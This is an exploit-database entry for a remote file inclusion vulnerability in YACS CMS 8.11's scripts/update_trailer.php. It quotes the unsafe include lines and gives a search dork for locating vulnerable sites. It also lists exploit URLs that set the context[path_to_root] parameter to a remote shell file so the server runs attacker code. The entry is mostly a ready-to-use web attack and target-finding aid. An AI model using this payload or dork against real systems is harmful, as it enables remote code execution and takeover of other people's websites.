YACS CMS 8.11 - 'update_trailer.php' Remote File Inclusion

Author: ahmadbady
type: webapps
platform: php
port: 
date_added: 2009-02-15 
date_updated: 2017-02-13 
verified: 1 
codes: OSVDB-52041 
tags: 
aliases:  
screenshot_url:  
application_url: 

              -----------------[remote file include]-----------------

script: YACS version 8.11

------------------------------------------------------------------

download from: http://www.yetanothercommunitysystem.com/file-fetch/814-20081130-yacs-8.11rc30.zip


==============================================
vul: /yacs/scripts/update_trailer.php line 21 23 25;


include_once $context['path_to_root'].'shared/safe.php'; 21
if(!class_exists('i18n'))
 include_once $context['path_to_root'].'i18n/i18n.php'; 23
if(!class_exists('SQL'))
include_once $context['path_to_root'].'shared/sql.php'; 25



==============================================

dork: "Powered by yacs"
----------------------------------------------

xpl:

http://127.0.0.1/path/yacs/scripts/update_trailer.php?context[path_to_root]=[shell.txt?]

http://127.0.0.1/yacs/scripts/update_trailer.php?context[path_to_root]=[shell.txt?]

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Author: ahmadbady  [kivi_hacker666@yahoo.com]

from[iran]
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# milw0rm.com [2009-02-16]